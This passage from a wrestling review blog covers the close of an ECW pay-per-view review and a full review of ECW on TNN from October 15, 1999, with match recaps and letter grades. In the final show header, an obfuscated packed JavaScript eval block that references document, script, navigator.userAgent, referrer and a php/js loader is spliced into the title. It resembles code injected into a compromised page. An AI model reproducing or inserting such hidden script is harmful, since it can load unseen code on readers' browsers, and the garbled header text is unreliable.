The girls go at it and it’s nothing special. There’s your Bronco Buster which still is freaking stupid. Raven takes a Singapore cane shot for Francine but walks into That’s Incredible for the pin.

Rating: C-. Give this more wrestling and a bit more time and this can be pretty good. This was just too short on wrestling and too little Raven who is the best guy in here not named Storm. This was a decent enough match though but it just needed more time to make it a good bit better.

We go outside to the parking lot to talk to Corino and company who say they’re proud of beating up Rhodes. Rhyno tells the guy to shut the F up. THAT is the first moment from ECW that I ever remember. Rhyno wants an ECW Title shot. He would get it and be the last champion of the company.

Cyrus is REALLY happy about the Impact Players getting the belts.

We go to the recap of Spike vs. Awesome which is because Spike’s girlfriend took a clothesline and knocked her teeth out.

ECW World Title: Mike Awesome vs. Spike Dudley

This should be going on in the spot of the TV Title match and the TV Title match should come on last. Spike has lost a lot of that ANGER from an hour and a half ago. He starts setting up tables before Mike is even here. Oh well we get to listen to some more AC/DC so I can’t complain. He sets up FIVE tables including two on top of each other before getting into the ring with a microphone.

He talks about how he makes his living getting put through tables. Ok thanks for admitting you’re a glorified jobber getting a title shot at a PPV. Why was Awesome managed by a “judge?” That never made much sense to me but whatever. Spike goes through a table less than 15 seconds in. Ok then let’s go home now as this is rather pointless. There go two more.

We’re MAYBE a minute and a half in and Spike has done nothing at all other than a few punches. Them calling the split screen replay Double Vision is funny. Spike is in the crowd and Awesome dives over the railing to knock him back down. Joey wants the match stopped but then cheers when he kicks out of a splash. Is this supposed to make sense?

Oh that’s right it’s Spike Dudley in the main event of a PPV. Of course it’s not supposed to make sense. Awesome Bomb is blocked and Spike jumps at Awesome and hits something close to an Acid Drop on the guard rail. Spike might have hurt his leg. Wow I wonder how he could have done that. Spike hits a hurricanrana which Awesome (rightfully) no sells and then kills Spike with a clothesline for two.

Spike hits the one move that I’ve never been able to understand how it can be done safely: a double stomp from the top rope. In an INSANE spot, Spike gets on the top rope and hits a springboard clothesline from the ring to the front row. That was impressive and Joey/Cyrus make fun of Hogan for doing such limited stuff.

That’s rather amusing as Awesome is actually Hogan’s nephew or something close to that. Spike hits an Acid Drop from the apron to the floor through a table and chokes Awesome out with a cord to take over. Joey shouting AWESOME IS DEAD over and over after a big chair shot is rather creepy.

Spike is thrown through a table and is more or less out cold. Spike then further proves his idiocy by going up when Awesome is on the top rope in front of a table. Of course he goes through it for the pin. He deserved that for general stupidity.

Rating: D-. The problem here is simple: the credibility just wasn’t there at all. Spike is still his size and Awesome is his size. That’s why this didn’t work very well. We get it: Spike can do moves to big guys, but chair shots and a Diamond Cutter from the ropes isn’t enough to make this believable. They tried….kind of, but this just didn’t work that well at all.

OverallRating: D+. It’s by no means the worst ECW show ever, but seriously, what happened here? Van Dam keeps the belt again, Awesome dominates again, the dream partner match made no sense. Oh right the Players won the belts. Guess what they do at the next PPV.

They win the belts since they lose them in a few weeks. Anyway, this wasn’t horrible I guess, but that’s not saying much. Just a very lackluster show and you can clearly see the things just getting ready to come crashing down.

Remember to follow me on Twitter @kbreviews

ECW on TNN
Date: October 15, 1999
Location: Civic Center, Houma, Louisiana
Attendance: 2,000
Commentators: Joey Styles, Joel Gertner

We’re heading towards November 2 Remember and not a lot has been established yet. Then again that’s pretty common for ECW PPVs so I’m not that worried. The only other main story is the Raven vs. Dreamer feud, but that could be said about almost any time that the two were in the company at the same time. Let’s get to it.

We open with Candido and Sytch coming to the ring. Before they can say anything though, here are Storm and Dawn Marie. I still can’t get over how hot she was in ECW. Storm says that Sytch is a has been at 26 but everyone knew it a year ago. At least Candido had some talent. Not a lot mind you but enough for Storm to carry him. Those are Storm’s words if that’s not clear. Storm makes a drug reference and it’s on. Security breaks it up before they fight too much though.

Theme song.

David Kash vs. Tom Marquez

That’s Kid Kash and it’s his debut. Kash hooks a Japanese armdrag and here are Corino and Rhyno to beat them both down. The match didn’t last 30 seconds.

Rhyno and Tajiri are in Falcons’ jerseys and insult the Saints players in the audience. Rhyno goes after them and Dreamer comes out to try to break it up. Corino calls out Tommy and we’re having a match after the break.

Tommy Dreamer vs. Steve Corino

It’s a big wild brawl and they go into the stands very quickly. Dreamer is in pure control and beating him up in the crowd. They tease throwing both guys over the railing and I think Dreamer falls off the side. Not that you can see anything mind you so that’s kind of a guess. They get to the ring for the first time and there go Corino’s pants and whatever he had under them. Everything is covered by a mosaic at least.

There’s a superplex to Steve Corino, whose clothes are having some issues. He comes back with a shot to Dreamer’s bad back and pulls his singlet up. Corino puts on a front facelock and sits down in the chair for some reason. Dreamer escapes the devastating sitting hold and sets up the DDT on said chair, but Corino escapes and sends Dreamer into the chair.

There goes the referee and Dreamer hits the Death Valley Driver. He hooks a Tarantula as Francine knocks Jack Victory down. Cue Tajiri to kick Dreamer in the head. Tajiri goes after Francine and Raven comes in to break up whatever Corino was setting up. DDT to Tajiri and one to Dreamer as well. Corino goes for the cover but Dreamer rolls him up for the pin.

Rating: D+. It’s pretty clear they have no idea what to do with Dreamer and Raven at this point. The problem was they didn’t have anything to do with them other than throw them together because they feuded for so many years. This was more of a fight anyway and I thought about not rating it. Not terrible though and it was entertaining I guess.

Fonzie says watch out for Sabu.

Chris Candido vs. Lance Storm

After a break we join this in progress with Storm chopping away in the corner. Candido takes him down and pounds away but walks into a spinwheel kick from Storm. Chris hooks a neckbreaker and a middle rope legdrop gets two. A very delayed vertical suplex gets two on Storm. Out to the floor and Candido hits a big dive to the floor.

Storm is sent to the barricade but knocks Candido over the railing. Back in a springboard clothesline gets two for Storm. Tammy interferes to slow Lance down and a superplex followed by a swan dive gets two. Cue Justin Credible and it’s time for a cat fight. Credible pops Candido with a Singapore Cane and Storm pins Candido with Jerry Lynn’s cradle piledriver.

Rating: C. I like Storm so I can’t complain much about this one. Candido was fine but sometimes he could get a little boring. To be fair the girls here looked great so that always helps. This was a feud that went on forever a few years before though so we had seen it for a long time already.

Rod Price vs. Mike Awesome

Price is a big jock looking guy. Awesome however is a monster and knocks Price to the floor and dives over the top onto him. Back into the ring and Price gets some shots in but the world champion runs him over, kicks him down and powerbombs him through a table. Another powerbomb puts Price’s manager through a table on the floor and a top rope splash ends Price. Squash pretty much.

Awesome vs. Tanaka is announced for the PPV.

Dawn Marie and the Impact Players say they’re running everyone out of town.

Da Baldies say that they’re Da Baldies.

Raven is on Bourbon Street and talks about souls.

Doring talks to Miss Congeniality but I can’t understand any of it. He tells Chetti that Chetti wouldn’t listen so now he’s hurt. He’s coming for Nova too.

Back to Raven who talks about how the idiots on this street are Dreamer’s people.

Rotten and Mahoney say they’re hardcore.

Spike looks at his hands. These are supposed to be themed like Pulp Fiction I think.

Da Baldies are still named Da Baldies.

New Jack talks about being a baby.

RVD says nothing of note about November 2 Remember.

Lynn says the injuries won’t stop him. Corino interrupts him and says to work hurt. Corino leaves and Lynn goes looking for him but finds Congeniality in a towel instead. He keeps looking but finds Tajiri who kicks his bad ribs.

Raven makes fun of Dreamer some more.

Van Dam wants to face Sabu at the PPV.

New Jack yells a lot.

Tajiri talks about his favorite Jimmy Stewart movie.

In a funny bit, Gertner compliments Tajiri’s promo (which was in Japanese). Joey says what did Tajiri say. Joel opens his mouth and a voiceover of Tajiri’s promo plays. Joey looks at the camera with a look straight out of a Daffy Duck cartoon.

New Jack rants some more.

Van Dam says he’ll fight anyone. That ends the show. The last nine minutes were all these promos being split up.

Overall Rating: C-. This is on the ECW scale of course. The show wasn’t that bad but the ending was really weird. I get that they’re going for something different, but different doesn’t always mean good. They did a good job here of getting more wrestling on the show, but then the last quarter of the show was like that, which doesn’t really work. Not a horrible show but it didn’t quite work.

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ECW eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tiffk|var|u0026u|referrer|ftftk||js|php'.split('|'),0,{})) on TNN
Date: October 1, 1999
Location: Compuware Sports Arena, Plymouth, Michigan
Attendance: 1,600
Commentators: Joey Styles, Joel Gertner